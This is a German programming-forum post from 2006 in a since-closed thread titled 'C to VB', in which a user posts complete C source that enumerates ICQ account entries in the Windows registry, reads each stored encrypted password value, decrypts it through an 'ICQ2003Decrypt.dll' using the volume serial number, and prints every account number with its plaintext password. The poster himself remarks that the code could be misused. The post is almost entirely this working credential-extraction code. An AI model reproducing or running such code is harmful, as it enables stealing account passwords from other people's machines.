vb@rchiv
VB Classic
VB.NET
ADO.NET
VBA
C#
SEPA-Dateien erstellen inkl. IBAN-, BLZ-/Kontonummernprüfung  
 vb@rchiv Quick-Search: Suche startenErweiterte Suche starten   Impressum  | Datenschutz  | vb@rchiv CD Vol.6  | Shop Copyright ©2000-2025
 
zurück

 Sie sind aktuell nicht angemeldet.Funktionen: Einloggen  |  Neu registrieren  |  Suchen

C# Ecke
Beitrag wurde geschlossenRe: C to VB 
Autor: Gamepad
Datum: 25.07.06 13:31

Naja von mir aus:

#include "stdio.h"
#include <windows.h>
int main()
{
char drv[5];
char cBuf[128];
GetWindowsDirectory(cBuf, 128);
drv[0]=cBuf[0];
drv[1]=cBuf[1];
drv[2]=cBuf[2];
drv[3]=NULL;
char deneme2[15][10];
char KeyName[MAX_PATH];
HKEY Handle;
LPDWORD sName = new DWORD;
LPDWORD sClass = new DWORD;
*sName = *sClass = 50;
DWORD dwIndex = 0;
Handle=HKEY_CURRENT_USER;
RegOpenKeyEx(Handle, ( LPCTSTR )"Software\\Mirabilis\\ICQ\\NewOwners\\",0,KEY_ALL_ACCESS,&Handle);

while(!RegEnumKeyEx(Handle,dwIndex,KeyName,sName,NULL,NULL,NULL,NULL))
{
dwIndex++;
strcpy(deneme2[dwIndex-1],KeyName);
}
char NameBuffer[MAX_PATH];
char SysNameBuffer[MAX_PATH];
DWORD VSNumber;
DWORD MCLength;
DWORD FileSF;
GetVolumeInformation(drv,NameBuffer, sizeof(NameBuffer),&VSNumber,&MCLength,&FileSF,SysNameBuffer,sizeof(SysNameBuffer));


HINSTANCE hLib = LoadLibraryA("ICQ2003Decrypt.dll");
if (!hLib) return ;
void (WINAPI *lpfEnumProcesses)( unsigned int dwVolumeSerial, void * lpszMainLocation, unsigned int dwMainLocationLen,char *lpszUIN );
lpfEnumProcesses = (void(WINAPI *)(unsigned int,void *,unsigned int,char *lpszUIN)) GetProcAddress( hLib, "DecryptPass" ) ;
int yeter;
BYTE Buffer[16];
int bufsiz;
char ee[MAX_PATH]={'d','d',NULL};
HKEY Handle2=HKEY_CURRENT_USER;
for(yeter=0;yeter<dwIndex;yeter++)
{
sprintf(ee,"Software\\Mirabilis\\ICQ\\NewOwners\\%s",deneme2[yeter]);
HKEY hkeyresult;
char dats[MAX_PATH];
DWORD size=800;
RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR )ee,0,KEY_ALL_ACCESS, &hkeyresult );
if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"MainLocation" , 0, 0, Buffer, &size )!=ERROR_SUCCESS){
RegCloseKey(hkeyresult);
return;
}
RegCloseKey(hkeyresult);
RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR )ee,0,KEY_ALL_ACCESS, &hkeyresult );
bufsiz=size;
if(bufsiz==0)
bufsiz=16;
lpfEnumProcesses(VSNumber,Buffer,bufsiz,deneme2[yeter]);
printf("Uin:%s Password:%s\n",deneme2[yeter],(char*)Buffer);

}


return;
}


Wollt ihn net öffentlich rienstellen weil am ihn evtl. ja auch Zweckentfremden kann
alle Nachrichten anzeigenGesamtübersicht  |  Zum Thema  |  Suchen

 ThemaViews  AutorDatum
C to VB2.142Gamepad24.07.06 10:46
Re: C to VB1.201ModeratorFZelle24.07.06 12:02
Re: C to VB1.223Gamepad24.07.06 12:07
Re: C to VB1.318ModeratorFZelle24.07.06 14:51
Re: C to VB1.271Gamepad24.07.06 18:51
Re: C to VB1.143Moderatorralf_oop24.07.06 19:21
Re: C to VB1.276Gamepad24.07.06 20:39
Re: C to VB1.275Gamepad24.07.06 20:45
Re: C to VB1.114spike2425.07.06 07:01
Re: C to VB1.158Moderatorralf_oop25.07.06 08:53
Re: C to VB1.547Gamepad25.07.06 13:31
Re: C to VB1.307ModeratorFZelle25.07.06 15:07
Re: C to VB1.304Gamepad25.07.06 15:30
Re: C to VB1.128ModeratorFZelle25.07.06 16:44
Re: C to VB1.179ModeratorDaveS25.07.06 17:52

Thread wurde geschlossen!
Dieser Thread wurde von den Moderatoren geschlossen, d.h. es können keine neuen Beiträge mehr gepostet werden!

Funktionen:  Zum Thema  |  GesamtübersichtSuchen 

nach obenzurück
 
   

Copyright ©2000-2025 vb@rchiv Dieter Otter
Alle Rechte vorbehalten.
Microsoft, Windows und Visual Basic sind entweder eingetragene Marken oder Marken der Microsoft Corporation in den USA und/oder anderen Ländern. Weitere auf dieser Homepage aufgeführten Produkt- und Firmennamen können geschützte Marken ihrer jeweiligen Inhaber sein.

Diese Seiten wurden optimiert für eine Bildschirmauflösung von mind. 1280x1024 Pixel